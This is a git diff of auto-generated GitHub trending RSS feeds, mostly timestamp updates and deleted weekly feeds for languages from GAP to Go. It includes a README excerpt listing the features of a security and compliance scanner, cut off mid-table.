a/gap/weekly/index.xml b/gap/weekly/index.xml deleted file mode 100644 index b85be03e167..00000000000 --- a/gap/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub GAP Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:50:34Z - Weekly Trending of GAP in GitHub - - \ No newline at end of file diff --git a/gcc-machine-description/daily/index.xml b/gcc-machine-description/daily/index.xml index 01e53b51387..362fc9087c1 100644 --- a/gcc-machine-description/daily/index.xml +++ b/gcc-machine-description/daily/index.xml @@ -1,7 +1,7 @@ GitHub GCC Machine Description Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:30:55Z + 2023-09-25T01:29:46Z Daily Trending of GCC Machine Description in GitHub \ No newline at end of file diff --git a/gcc-machine-description/weekly/index.xml b/gcc-machine-description/weekly/index.xml deleted file mode 100644 index 19b28b3dfbd..00000000000 --- a/gcc-machine-description/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub GCC Machine Description Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:50:34Z - Weekly Trending of GCC Machine Description in GitHub - - \ No newline at end of file diff --git a/gdb/daily/index.xml b/gdb/daily/index.xml index ad717f52a5e..2b9ba1c274f 100644 --- a/gdb/daily/index.xml +++ b/gdb/daily/index.xml @@ -1,7 +1,7 @@ GitHub GDB Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:30:57Z + 2023-09-25T01:29:48Z Daily Trending of GDB in GitHub \ No newline at end of file diff --git a/gdb/weekly/index.xml b/gdb/weekly/index.xml deleted file mode 100644 index daae4bc2b11..00000000000 --- a/gdb/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub GDB Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:50:33Z - Weekly Trending of GDB in GitHub - - \ No newline at end of file diff --git a/gdscript/daily/index.xml b/gdscript/daily/index.xml index 40420dd446d..59c5c95bff3 100644 --- a/gdscript/daily/index.xml +++ b/gdscript/daily/index.xml @@ -1,21 +1,21 @@ GitHub GDScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:31:00Z + 2023-09-25T01:29:51Z Daily Trending of GDScript in GitHub - CSCI-5619-Fall-2023/Lecture-5 - 2023-09-24T01:31:00Z - tag:github.com,2023-09-24:/CSCI-5619-Fall-2023/Lecture-5 - - <p></p><hr> + nagidev/DialogueNodes + 2023-09-25T01:29:51Z + tag:github.com,2023-09-25:/nagidev/DialogueNodes + + <p>A plugin for creating and exporting dialogue trees from withing the Godot Editor</p><hr> - Khaligufzel/CataX - 2023-09-24T01:31:00Z - tag:github.com,2023-09-24:/Khaligufzel/CataX - - <p></p><hr> + JeanKouss/godot-third-person-camera + 2023-09-25T01:29:51Z + tag:github.com,2023-09-25:/JeanKouss/godot-third-person-camera + + <p>A Third Person Camera for Godot Engine</p><hr> \ No newline at end of file diff --git a/gdscript/weekly/index.xml b/gdscript/weekly/index.xml deleted file mode 100644 index 79d7e530836..00000000000 --- a/gdscript/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub GDScript Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:50:37Z - Weekly Trending of GDScript in GitHub - - - KenneyNL/Starter-Kit-3D-Platformer - 2023-09-24T01:50:37Z - tag:github.com,2023-09-24:/KenneyNL/Starter-Kit-3D-Platformer - - <p>Godot</p><hr> - - - Vahera/godot-orchestrator - 2023-09-24T01:50:37Z - tag:github.com,2023-09-24:/Vahera/godot-orchestrator - - <p>Godot Engine (4.x) Visual Scripting with Orchestrator.</p><hr> - - - Poing-Studios/godot-admob-plugin - 2023-09-24T01:50:37Z - tag:github.com,2023-09-24:/Poing-Studios/godot-admob-plugin - - <p>This repository is for Godot's Addons to integrate natively AdMob to your Game Project without much configurations and directly inside Godot Editor!</p><hr> - - \ No newline at end of file diff --git a/gedcom/daily/index.xml b/gedcom/daily/index.xml index 18a1d0c8d95..475153fee6f 100644 --- a/gedcom/daily/index.xml +++ b/gedcom/daily/index.xml @@ -1,7 +1,7 @@ GitHub GEDCOM Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:31:03Z + 2023-09-25T01:29:53Z Daily Trending of GEDCOM in GitHub \ No newline at end of file diff --git a/gedcom/weekly/index.xml b/gedcom/weekly/index.xml deleted file mode 100644 index 4f90991b6f1..00000000000 --- a/gedcom/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub GEDCOM Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:50:41Z - Weekly Trending of GEDCOM in GitHub - - \ No newline at end of file diff --git a/gemfile.lock/daily/index.xml b/gemfile.lock/daily/index.xml index 09861ba99f0..e6ec7f0cccc 100644 --- a/gemfile.lock/daily/index.xml +++ b/gemfile.lock/daily/index.xml @@ -1,7 +1,7 @@ GitHub Gemfile.lock Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:31:04Z + 2023-09-25T01:29:54Z Daily Trending of Gemfile.lock in GitHub \ No newline at end of file diff --git a/gemfile.lock/weekly/index.xml b/gemfile.lock/weekly/index.xml deleted file mode 100644 index 2415f30182c..00000000000 --- a/gemfile.lock/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Gemfile.lock Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:50:40Z - Weekly Trending of Gemfile.lock in GitHub - - \ No newline at end of file diff --git a/genero-forms/daily/index.xml b/genero-forms/daily/index.xml index fb3b86459f6..258d75bb40f 100644 --- a/genero-forms/daily/index.xml +++ b/genero-forms/daily/index.xml @@ -1,7 +1,7 @@ GitHub Genero Forms Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:31:05Z + 2023-09-25T01:29:56Z Daily Trending of Genero Forms in GitHub \ No newline at end of file diff --git a/genero-forms/weekly/index.xml b/genero-forms/weekly/index.xml deleted file mode 100644 index 8d6df720eea..00000000000 --- a/genero-forms/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Genero Forms Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:50:43Z - Weekly Trending of Genero Forms in GitHub - - \ No newline at end of file diff --git a/genero/daily/index.xml b/genero/daily/index.xml index d435e72682d..d133646aa46 100644 --- a/genero/daily/index.xml +++ b/genero/daily/index.xml @@ -1,7 +1,7 @@ GitHub Genero Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:31:01Z + 2023-09-25T01:29:55Z Daily Trending of Genero in GitHub \ No newline at end of file diff --git a/genero/weekly/index.xml b/genero/weekly/index.xml deleted file mode 100644 index 286aa569ea8..00000000000 --- a/genero/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Genero Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:50:38Z - Weekly Trending of Genero in GitHub - - \ No newline at end of file diff --git a/genie/daily/index.xml b/genie/daily/index.xml index c18e16d24ce..6eb5413dd54 100644 --- a/genie/daily/index.xml +++ b/genie/daily/index.xml @@ -1,7 +1,7 @@ GitHub Genie Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:31:07Z + 2023-09-25T01:29:59Z Daily Trending of Genie in GitHub \ No newline at end of file diff --git a/genie/weekly/index.xml b/genie/weekly/index.xml deleted file mode 100644 index 25b2d2a49fc..00000000000 --- a/genie/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Genie Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:50:42Z - Weekly Trending of Genie in GitHub - - \ No newline at end of file diff --git a/genshi/daily/index.xml b/genshi/daily/index.xml index 9cda6df85b9..4af7ee895d4 100644 --- a/genshi/daily/index.xml +++ b/genshi/daily/index.xml @@ -1,7 +1,7 @@ GitHub Genshi Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:31:08Z + 2023-09-25T01:29:58Z Daily Trending of Genshi in GitHub \ No newline at end of file diff --git a/genshi/weekly/index.xml b/genshi/weekly/index.xml deleted file mode 100644 index e39ef6a6f2c..00000000000 --- a/genshi/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Genshi Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:50:44Z - Weekly Trending of Genshi in GitHub - - \ No newline at end of file diff --git a/gentoo-ebuild/daily/index.xml b/gentoo-ebuild/daily/index.xml index 14f2e485d23..a54a901bc44 100644 --- a/gentoo-ebuild/daily/index.xml +++ b/gentoo-ebuild/daily/index.xml @@ -1,7 +1,7 @@ GitHub Gentoo Ebuild Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:31:06Z + 2023-09-25T01:29:57Z Daily Trending of Gentoo Ebuild in GitHub \ No newline at end of file diff --git a/gentoo-ebuild/weekly/index.xml b/gentoo-ebuild/weekly/index.xml deleted file mode 100644 index 93db7d71b76..00000000000 --- a/gentoo-ebuild/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Gentoo Ebuild Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:50:43Z - Weekly Trending of Gentoo Ebuild in GitHub - - \ No newline at end of file diff --git a/gentoo-eclass/daily/index.xml b/gentoo-eclass/daily/index.xml index 2f9123fd0cc..60d3737d431 100644 --- a/gentoo-eclass/daily/index.xml +++ b/gentoo-eclass/daily/index.xml @@ -1,7 +1,7 @@ GitHub Gentoo Eclass Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:31:09Z + 2023-09-25T01:30:00Z Daily Trending of Gentoo Eclass in GitHub \ No newline at end of file diff --git a/gentoo-eclass/weekly/index.xml b/gentoo-eclass/weekly/index.xml deleted file mode 100644 index bb38f649cfc..00000000000 --- a/gentoo-eclass/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Gentoo Eclass Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:50:45Z - Weekly Trending of Gentoo Eclass in GitHub - - \ No newline at end of file diff --git a/gerber-image/daily/index.xml b/gerber-image/daily/index.xml index b7ba14a0fef..fd404f47e2a 100644 --- a/gerber-image/daily/index.xml +++ b/gerber-image/daily/index.xml @@ -1,7 +1,7 @@ GitHub Gerber Image Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:31:11Z + 2023-09-25T01:30:02Z Daily Trending of Gerber Image in GitHub \ No newline at end of file diff --git a/gerber-image/weekly/index.xml b/gerber-image/weekly/index.xml deleted file mode 100644 index 8a28bfb4395..00000000000 --- a/gerber-image/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Gerber Image Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:50:47Z - Weekly Trending of Gerber Image in GitHub - - \ No newline at end of file diff --git a/gettext-catalog/daily/index.xml b/gettext-catalog/daily/index.xml index def0b8de4f8..d5dad0f0f22 100644 --- a/gettext-catalog/daily/index.xml +++ b/gettext-catalog/daily/index.xml @@ -1,7 +1,7 @@ GitHub Gettext Catalog Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:31:12Z + 2023-09-25T01:30:01Z Daily Trending of Gettext Catalog in GitHub \ No newline at end of file diff --git a/gettext-catalog/weekly/index.xml b/gettext-catalog/weekly/index.xml deleted file mode 100644 index 2d59e6b879d..00000000000 --- a/gettext-catalog/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Gettext Catalog Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:50:46Z - Weekly Trending of Gettext Catalog in GitHub - - \ No newline at end of file diff --git a/gherkin/daily/index.xml b/gherkin/daily/index.xml index afe90e72de4..6fd56e40249 100644 --- a/gherkin/daily/index.xml +++ b/gherkin/daily/index.xml @@ -1,7 +1,7 @@ GitHub Gherkin Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:31:11Z + 2023-09-25T01:30:03Z Daily Trending of Gherkin in GitHub \ No newline at end of file diff --git a/gherkin/weekly/index.xml b/gherkin/weekly/index.xml deleted file mode 100644 index f6050d8b9a0..00000000000 --- a/gherkin/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Gherkin Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:50:48Z - Weekly Trending of Gherkin in GitHub - - \ No newline at end of file diff --git a/git-attributes/daily/index.xml b/git-attributes/daily/index.xml index 31779a83004..b0b390d2e7a 100644 --- a/git-attributes/daily/index.xml +++ b/git-attributes/daily/index.xml @@ -1,7 +1,7 @@ GitHub Git Attributes Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:31:16Z + 2023-09-25T01:30:05Z Daily Trending of Git Attributes in GitHub \ No newline at end of file diff --git a/git-attributes/weekly/index.xml b/git-attributes/weekly/index.xml deleted file mode 100644 index 46ae92a80f4..00000000000 --- a/git-attributes/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Git Attributes Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:50:52Z - Weekly Trending of Git Attributes in GitHub - - \ No newline at end of file diff --git a/git-config/daily/index.xml b/git-config/daily/index.xml index 13fc7ef6caf..759879a23fa 100644 --- a/git-config/daily/index.xml +++ b/git-config/daily/index.xml @@ -1,7 +1,7 @@ GitHub Git Config Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:31:14Z + 2023-09-25T01:30:05Z Daily Trending of Git Config in GitHub \ No newline at end of file diff --git a/git-config/weekly/index.xml b/git-config/weekly/index.xml deleted file mode 100644 index 0980fc477ac..00000000000 --- a/git-config/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Git Config Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:50:50Z - Weekly Trending of Git Config in GitHub - - \ No newline at end of file diff --git a/gleam/daily/index.xml b/gleam/daily/index.xml index 8418cafcb9b..7b65a32c4af 100644 --- a/gleam/daily/index.xml +++ b/gleam/daily/index.xml @@ -1,7 +1,14 @@ GitHub Gleam Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:31:15Z + 2023-09-25T01:30:06Z Daily Trending of Gleam in GitHub + + giacomocavalieri/prng + 2023-09-25T01:30:06Z + tag:github.com,2023-09-25:/giacomocavalieri/prng + + <p>A pure random number generator for Gleam 🎲</p><hr> + \ No newline at end of file diff --git a/gleam/weekly/index.xml b/gleam/weekly/index.xml deleted file mode 100644 index 9a87be0d910..00000000000 --- a/gleam/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Gleam Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:50:49Z - Weekly Trending of Gleam in GitHub - - \ No newline at end of file diff --git a/glsl/daily/index.xml b/glsl/daily/index.xml index 5931ad00521..a23fda518c9 100644 --- a/glsl/daily/index.xml +++ b/glsl/daily/index.xml @@ -1,14 +1,7 @@ GitHub GLSL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:31:19Z + 2023-09-25T01:30:12Z Daily Trending of GLSL in GitHub - - lanl/Fierro - 2023-09-24T01:31:19Z - tag:github.com,2023-09-24:/lanl/Fierro - - <p>Fierro is a C++ code designed to aid the research and development of numerical methods and testing of user-specified models related to quasi-static solid mechanics and compressible material dynamics using low- and high-order meshes.</p><hr> - \ No newline at end of file diff --git a/glsl/weekly/index.xml b/glsl/weekly/index.xml deleted file mode 100644 index 14c4e6fd5c1..00000000000 --- a/glsl/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub GLSL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:50:56Z - Weekly Trending of GLSL in GitHub - - - jsulpis/realtime-planet-shader - 2023-09-24T01:50:56Z - tag:github.com,2023-09-24:/jsulpis/realtime-planet-shader - - <p>Realtime procedural planet shader in WebGL</p><hr> - - \ No newline at end of file diff --git a/glyph-bitmap-distribution-format/daily/index.xml b/glyph-bitmap-distribution-format/daily/index.xml index 1c30755a4b8..6b102396de5 100644 --- a/glyph-bitmap-distribution-format/daily/index.xml +++ b/glyph-bitmap-distribution-format/daily/index.xml @@ -1,7 +1,7 @@ GitHub Glyph Bitmap Distribution Format Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:31:18Z + 2023-09-25T01:30:08Z Daily Trending of Glyph Bitmap Distribution Format in GitHub \ No newline at end of file diff --git a/glyph-bitmap-distribution-format/weekly/index.xml b/glyph-bitmap-distribution-format/weekly/index.xml deleted file mode 100644 index 1ce2365cb73..00000000000 --- a/glyph-bitmap-distribution-format/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Glyph Bitmap Distribution Format Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:50:54Z - Weekly Trending of Glyph Bitmap Distribution Format in GitHub - - \ No newline at end of file diff --git a/glyph/daily/index.xml b/glyph/daily/index.xml index f439b0a5d3f..d101048c10f 100644 --- a/glyph/daily/index.xml +++ b/glyph/daily/index.xml @@ -1,7 +1,7 @@ GitHub Glyph Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:31:20Z + 2023-09-25T01:30:10Z Daily Trending of Glyph in GitHub \ No newline at end of file diff --git a/glyph/weekly/index.xml b/glyph/weekly/index.xml deleted file mode 100644 index f23e91fca6a..00000000000 --- a/glyph/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Glyph Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:50:55Z - Weekly Trending of Glyph in GitHub - - \ No newline at end of file diff --git a/gn/daily/index.xml b/gn/daily/index.xml index a16f683f0cf..f7a2a285afb 100644 --- a/gn/daily/index.xml +++ b/gn/daily/index.xml @@ -1,7 +1,7 @@ GitHub GN Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:31:21Z + 2023-09-25T01:30:09Z Daily Trending of GN in GitHub \ No newline at end of file diff --git a/gn/weekly/index.xml b/gn/weekly/index.xml deleted file mode 100644 index bcb66dcd96d..00000000000 --- a/gn/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub GN Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:50:53Z - Weekly Trending of GN in GitHub - - \ No newline at end of file diff --git a/gnuplot/daily/index.xml b/gnuplot/daily/index.xml index 86f5eff25eb..bd654a12bd1 100644 --- a/gnuplot/daily/index.xml +++ b/gnuplot/daily/index.xml @@ -1,7 +1,7 @@ GitHub Gnuplot Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:31:24Z + 2023-09-25T01:30:14Z Daily Trending of Gnuplot in GitHub \ No newline at end of file diff --git a/gnuplot/weekly/index.xml b/gnuplot/weekly/index.xml deleted file mode 100644 index a70a4c5485b..00000000000 --- a/gnuplot/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Gnuplot Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:50:58Z - Weekly Trending of Gnuplot in GitHub - - \ No newline at end of file diff --git a/go-checksums/daily/index.xml b/go-checksums/daily/index.xml index 7e09dc47eae..dcc59f3299c 100644 --- a/go-checksums/daily/index.xml +++ b/go-checksums/daily/index.xml @@ -1,7 +1,7 @@ GitHub Go Checksums Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:31:22Z + 2023-09-25T01:30:13Z Daily Trending of Go Checksums in GitHub \ No newline at end of file diff --git a/go-checksums/weekly/index.xml b/go-checksums/weekly/index.xml deleted file mode 100644 index da1ac3762d0..00000000000 --- a/go-checksums/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Go Checksums Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:50:59Z - Weekly Trending of Go Checksums in GitHub - - \ No newline at end of file diff --git a/go-module/daily/index.xml b/go-module/daily/index.xml index e4a404e067d..7a7c93985e0 100644 --- a/go-module/daily/index.xml +++ b/go-module/daily/index.xml @@ -1,7 +1,7 @@ GitHub Go Module Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:31:23Z + 2023-09-25T01:30:15Z Daily Trending of Go Module in GitHub \ No newline at end of file diff --git a/go-module/weekly/index.xml b/go-module/weekly/index.xml deleted file mode 100644 index ff3b6dbded4..00000000000 --- a/go-module/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Go Module Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:50:57Z - Weekly Trending of Go Module in GitHub - - \ No newline at end of file diff --git a/go/daily/index.xml b/go/daily/index.xml index fc84f268dd9..ffb4c1e81ec 100644 --- a/go/daily/index.xml +++ b/go/daily/index.xml @@ -1,21 +1,14 @@ GitHub Go Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:31:27Z + 2023-09-25T01:30:18Z Daily Trending of Go in GitHub - selinuxG/Golin - 2023-09-24T01:31:27Z - tag:github.com,2023-09-24:/selinuxG/Golin - - <p>弱口令检测、 漏洞扫描、端口扫描(协议识别,组件识别)、web目录扫描、子域名扫描、等保模拟定级、自动化运维、等保工具(网络安全等级保护现场测评工具)内置3级等保核查命令、基线核查工具</p><hr><h1>主要功能</h1> <blockquote> <p>主机存活探测、漏洞扫描、子域名扫描、端口扫描、各类服务数据库爆破、poc扫描、xss扫描、webtitle探测、web指纹识别、web敏感信息泄露、web目录浏览、web文件下载、等保安全风险问题风险自查等; 弱口令/未授权访问:40余种; WEB组件识别:300余种; 漏洞扫描:XSS、任意文件访问、任意命令执行、敏感信息泄露、默认账户密码...; 资产扫描:扫描存活主机-&gt;判断存活端口-&gt;识别协议/组件-&gt;基于组件协议进行弱口令、漏洞扫描-&gt;输出报告</p> </blockquote> <h2>web功能预览(仅支持运行等保功能)</h2> <p><img src="https://raw.githubusercontent.com/selinuxG/Golin/master/images/web.gif" alt="web"></p> <h2>端口扫描功能预览</h2> <p><img src="https://raw.githubusercontent.com/selinuxG/Golin/master/images/port.jpg" alt="port"></p> <h2>WEB目录扫描功能预览</h2> <p><img src="https://raw.githubusercontent.com/selinuxG/Golin/master/images/dirsearch.jpg" alt="dirsearch"></p> <h2>弱口令/未授权现阶段支持类型</h2> <table> <thead> <tr> <th align="center">序号</th> <th align="center">类型</th> <th align="center">是否支持</th> <th align="center">备注</th> </tr> </thead> <tbody> <tr> <td align="center">1</td> <td align="center">SSH</td> <td align="center">√</td> <td align="center"></td> </tr> <tr> <td align="center">2</td> <td align="center">RDP</td> <td align="center">√</td> <td align="center"></td> </tr> <tr> <td align="center">3</td> <td align="center">FTP</td> <td align="center">√</td> <td align="center"></td> </tr> <tr> <td align="center">4</td> <td align="center">MySQL</td> <td align="center">√</td> <td align="center"></td> </tr> <tr> <td align="center">5</td> <td align="center">PostgreSQL</td> <td align="center">√</td> <td align="center"></td> </tr> <tr> <td align="center">6</td> <td align="center">Redis</td> <td align="center">√</td> <td align="center"></td> </tr> <tr> <td align="center">7</td> <td align="center">MSSQL</td> <td align="center">√</td> <td align="center"></td> </tr> <tr> <td align="center">8</td> <td align="center">SMB</td> <td align="center">√</td> <td align="center"></td> </tr> <tr> <td align="center">9</td> <td align="center">Telnet</td> <td align="center">√</td> <td align="center"></td> </tr> <tr> <td align="center">10</td> <td align="center">Tomcat</td> <td align="center">√</td> <td align="center"></td> </tr> <tr> <td align="center">11</td> <td align="center">MangoDB</td> <td align="center">√</td> <td align="center">仅验证未授权访问</td> </tr> <tr> <td align="center">12</td> <td align="center">Elasticsearch</td> <td align="center">√</td> <td align="center">仅验证未授权访问</td> </tr> <tr> <td align="center">13</td> <td align="center">oracle</td> <td align="center">√</td> <td align="center"></td> </tr> <tr> <td align="center">14</td> <td align="center">ZooKeeper</td> <td align="center">√</td> <td align="center">仅验证未授权访问</td> </tr> <tr> <td align="center">15</td> <td align="center">dubbo</td> <td align="center">√</td> <td align="center">仅验证默认账户</td> </tr> <tr> <td align="center">16</td> <td align="center">nps</td> <td align="center">√</td> <td align="center">仅验证默认账户</td> </tr> <tr> <td align="center">17</td> <td align="center">Druid</td> <td align="center">√</td> <td align="center">仅验证未授权访问</td> </tr> <tr> <td align="center">18</td> <td align="center">activemq</td> <td align="center">√</td> <td align="center">仅验证默认账户</td> </tr> <tr> <td align="center">20</td> <td align="center">couchdb</td> <td align="center">√</td> <td align="center">仅验证未授权访问</td> </tr> <tr> <td align="center">21</td> <td align="center">Hadoop-Administration</td> <td align="center">√</td> <td align="center">仅验证未授权访问</td> </tr> <tr> <td align="center">22</td> <td align="center">ApacheSpark</td> <td align="center">√</td> <td align="center">仅验证未授权访问</td> </tr> <tr> <td align="center">23</td> <td align="center">swagger</td> <td align="center">√</td> <td align="center">仅验证未授权访问</td> </tr> <tr> <td align="center">24</td> <td align="center">Kibana</td> <td align="center">√</td> <td align="center">仅验证未授权访问</td> </tr> <tr> <td align="center">25</td> <td align="center">Kafka-Manager</td> <td align="center">√</td> <td align="center">仅验证未授权访问</td> </tr> <tr> <td align="center">26</td> <td align="center">Jenkins</td> <td align="center">√</td> <td align="center">仅验证未授权访问</td> </tr> <tr> <td align="center">27</td> <td align="center">Everything</td> <td align="center">√</td> <td align="center">仅验证未授权访问</td> </tr> <tr> <td align="center">28</td> <td align="center">D-Link路由器</td> <td align="center">√</td> <td align="center">仅验证默认账户</td> </tr> <tr> <td align="center">29</td> <td align="center">Nacos</td> <td align="center">√</td> <td align="center">仅验证默认账户</td> </tr> <tr> <td align="center">30</td> <td align="center">HiveServer</td> <td align="center">√</td> <td align="center">仅验证未授权访问</td> </tr> <tr> <td align="center">31</td> <td align="center">DockerRegistry</td> <td align="center">√</td> <td align="center">仅验证未授权访问</td> </tr> <tr> <td align="center">32</td> <td align="center">ApacheStorm</td> <td align="center">√</td> <td align="center">仅验证未授权访问</td> </tr> <tr> <td align="center">33</td> <td align="center">Prometheus</td> <td align="center">√</td> <td align="center">仅验证未授权访问</td> </tr> <tr> <td align="center">34</td> <td align="center">Node-Exporter</td> <td align="center">√</td> <td align="center">仅验证未授权访问</td> </tr> <tr> <td align="center">35</td> <td align="center">ApacheDruid</td> <td align="center">√</td> <td align="center">仅验证未授权访问</td> </tr> <tr> <td align="center">36</td> <td align="center">Zabbix</td> <td align="center">√</td> <td align="center">仅验证默认账户</td> </tr> <tr> <td align="center">37</td> <td align="center">JupyterLab</td> <td align="center">√</td> <td align="center">仅验证未授权访问</td> </tr> <tr> <td align="center">38</td> <td align="center">XXLJOB</td> <td align="center">√</td> <td align="center">仅验证默认账户</td> </tr> <tr> <td align="center">39</td> <td align="center">WIFISKY7层流控路由器</td> <td align="center">√</td> <td align="center">仅验证默认账户</td> </tr> </tbody> </table> <h2>资产扫描现阶段支持功能</h2> <table> <thead> <tr> <th align="center">序号</th> <th align="center">功能</th> <th align="center">是否支持</th> <th align="center">备注</th> </tr> </thead> <tbody> <tr> <td align="center">1</td> <td align="center">多线程</td> <td align="center">√</td> <td align="center">默认为100并发,可通过-c指定并发数</td> </tr> <tr> <td align="center">2</td> <td align="center">指定端口</td> <td align="center">√</td> <td align="center">格式支持1,2,3,2-20</td> </tr> <tr> <td align="center">3</td> <td align="center">指定IP</td> <td align="center">√</td> <td align="center">格式支持192.168.1.1,192.168.1.1/24,192.168.1-10,<a href="http://www.baidu.com">http://www.baidu.com</a></td> </tr> <tr> <td align="center">4</td> <td align="center">排除端口/主机</td> <td align="center">√</td> <td align="center"></td> </tr> <tr> <td align="center">5</td> <td align="center">扫描前探测主机存活</td> <td align="center">√</td> <td align="center">基于ping,可通过--noping跳过探测存活</td> </tr> <tr> <td align="center">6</td> <td align="center">打乱主机顺序</td> <td align="center">√</td> <td align="center">默认不打乱,可通过--random进行打乱</td> </tr> <tr> <td align="center">7</td> <td align="center">协议识别</td> <td align="center">√</td> <td align="center">目前支持常见协议:ssh、redis、https、https、MySQL、pgsql、ftp等</td> </tr> <tr> <td align="center">8</td> <td align="center">超时时间</td> <td align="center">√</td> <td align="center">默认5秒,可通过-t指定</td> </tr> <tr> <td align="center">9</td> <td align="center">识别web</td> <td align="center">√</td> <td align="center">目前支持识别server、title、ssl证书</td> </tr> <tr> <td align="center">10</td> <td align="center">结果保存</td> <td align="center">√</td> <td align="center">默认保存保存到portscan.xlsx</td> </tr> <tr> <td align="center">11</td> <td align="center">主机操作系统识别</td> <td align="center">√</td> <td align="center">基于ttl</td> </tr> <tr> <td align="center">12</td> <td align="center">组件识别</td> <td align="center">√</td> <td align="center">目前常用300+</td> </tr> <tr> <td align="center">13</td> <td align="center">自动扫描弱口令</td> <td align="center">√</td> <td align="center">rdp、ssh、redis、mysql、oracle、es、telnet、pgsql等40种</td> </tr> <tr> <td align="center">14</td> <td align="center">web自动扫描xss</td> <td align="center">√</td> <td align="center"></td> </tr> <tr> <td align="center">15</td> <td align="center">web自动扫描漏洞</td> <td align="center">√</td> <td align="center">扫描poc、未授权访问、目录泄露</td> </tr> <tr> <td align="center">16</td> <td align="center">快速扫描格式</td> <td align="center">√</td> <td align="center">支持格式:<a 